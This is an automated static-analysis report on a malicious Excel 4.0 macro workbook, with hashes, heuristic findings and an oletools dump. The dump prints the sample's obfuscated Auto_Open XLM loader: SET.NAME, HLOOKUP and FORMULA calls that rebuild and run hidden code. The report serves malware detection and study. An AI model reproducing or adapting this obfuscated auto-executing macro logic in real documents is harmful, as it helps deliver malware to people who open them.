Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9ea54640b38c978…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:50 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 1354d1b85ac4efd64847b0ce32479dcf SHA-1: 306d98eb4352b0872a196983cf88168c14e6f0bb SHA-256: d9ea54640b38c9785d2d35a478ef17c2fb3ce30775accad24d996b6fa1fb8673
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6433 bytes
SHA-256: 290271fd466bbb4ad44dae2416cbd8c0add083fab90153d8b7afe0e3703692de
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uKVt
' 0018     27 LABEL : Cell Value, String Constant - auSPcdCDudDi len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B144 
' 0018     27 LABEL : Cell Value, String Constant - BeVUrAHGsOrG len=0 
' 0018     23 LABEL : Cell Value, String Constant - bHHNFJtN len=0 
' 0018     26 LABEL : Cell Value, String Constant - cmeKKqZZZJS len=0 
' 0018     27 LABEL : Cell Value, String Constant - ENuYnjzToCXI len=0 
' 0018     22 LABEL : Cell Value, String Constant - erqaAOR len=0 
' 0018     23 LABEL : Cell Value, String Constant - fXLqhfWz len=0 
' 0018     25 LABEL : Cell Value, String Constant - HiMQAYSlVd len=0 
' 0018     21 LABEL : Cell Value, String Constant - HpVcyv len=0 
' 0018     21 LABEL : Cell Value, String Constant - JHrssD len=0 
' 0018     21 LABEL : Cell Value, String Constant - KCnXKT len=0 
' 0018     21 LABEL : Cell Value, String Constant - lrwQlG len=0 
' 0018     22 LABEL : Cell Value, String Constant - pKGnPhU len=0 
' 0018     24 LABEL : Cell Value, String Constant - PXkxMJIlM len=0 
' 0018     21 LABEL : Cell Value, String Constant - sLpsLi len=0 
' 0018     25 LABEL : Cell Value, String Constant - tLQVpWNFZK len=0 
' 0018     20 LABEL : Cell Value, String Constant - tsvuL len=0 
' 0018     25 LABEL : Cell Value, String Constant - uTDpVrbTQa len=0 
' 0018     23 LABEL : Cell Value, String Constant - VprVAdXP len=0 
' 0018     21 LABEL : Cell Value, String Constant - wrAygD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uKVt,B57,"SET.NAME("VprVAdXP",VALUE("0"))",""
'  uKVt,B59,"SET.NAME("JHrssD",VprVAdXP)",""
'  uKVt,B62,"SET.NAME("auSPcdCDudDi",VprVAdXP)",""
'  uKVt,B66,"SET.NAME("bHHNFJtN",COUNTA(wrAygD))",""
'  uKVt,B68,"SET.NAME("PXkxMJIlM",COUNTA(sLpsLi))",""
'  uKVt,B72,[],""
'  uKVt,B76,"SET.NAME("lrwQlG","")",""
'  uKVt,B79,"JHrssD",""
'  uKVt,B84,"SET.NAME("pKGnPhU",HLOOKUP("*",wrAygD,JHrssD,FALSE))",""
'  uKVt,B88,"KCnXKT",""
'  uKVt,B90,"SET.NAME("erqaAOR",VprVAdXP)",""
'  uKVt,B94,[],""
'  uKVt,B98,"erqaAOR",""
'  uKVt,B101,"uTDpVrbTQa",""
'  uKVt,B103,"ENuYnjzToCXI",""
'  uKVt,B106,"HpVcyv",""
'  uKVt,B109,"SET.NAME("HiMQAYSlVd",VALUE(HLOOKUP("*",sLpsLi,HpVcyv,FALSE)))",""
'  uKVt,B114,"cmeKKqZZZJS",""
'  uKVt,B118,"lrwQlG",""
'  uKVt,B120,"auSPcdCDudDi",""
'  uKVt,B123,NEXT(),""
'  uKVt,B126,"fXLqhfWz",""
'  uKVt,B130,"SET.NAME("f",INT(T(FORMULA(T(lrwQlG)&"",""&T(fXLqhfWz)))))",""
'  uKVt,B132,"tLQVpWNFZK",""
'  uKVt,B135,NEXT(),""
'  uKVt,B140,RETURN(),""
'  uKVt,B171,"SET.NAME("BeVUrAHGsOrG",B57)",""
'  uKVt,B175,"wrAygD",""
'  uKVt,B177,"SET.NAME("sLpsLi",R65C15)",""
'  uKVt,B179,"SET.NAME("tLQVpWNFZK",184)",""
'  uKVt,B181,"SET.NAME("tsvuL",2)",""
'  uKVt,B183,BeVUrAHGsOrG(),""
'  uKVt,B184,HALT(),""

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